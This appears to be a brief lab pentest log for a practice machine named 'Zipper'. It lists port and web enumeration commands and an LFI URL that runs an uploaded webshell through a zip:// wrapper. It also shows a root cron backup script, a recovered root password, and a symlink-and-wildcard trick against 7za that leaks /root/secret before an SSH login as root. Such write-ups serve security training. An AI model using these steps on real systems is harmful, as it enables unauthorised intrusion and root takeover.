Zipper
๐งช Pentest Log: {{date:2025-08-02}}
๐ Target Information
- Machine Name: Zipper
- IP Address: 192.168.230.229
- Operating System: Linux
ip=192.168.230.229
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: LFI
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
http://192.168.230.229/index.php?file=zip://uploads/upload_1754190948.zip%23shell
๐งฌ Privilege Escalation
๐ค Current Access
- User: www-data
- Groups: www-data
- Shell Type: webshell
๐ Enumeration
Crontab:
cat /etc/crontab
found /opt/backup.sh
* * * * * root bash /opt/backup.sh
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
cat backup.log
found root password
WildCardsGoingWild
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Scheduled Tasks
- Target Binary/Service: N/A
- Reference / Source: N/A
๐ง Exploit Steps
- Setup
ln -s /root/secret enox.zip
touch @enox.zip
- Smash to root
ssh root@$ip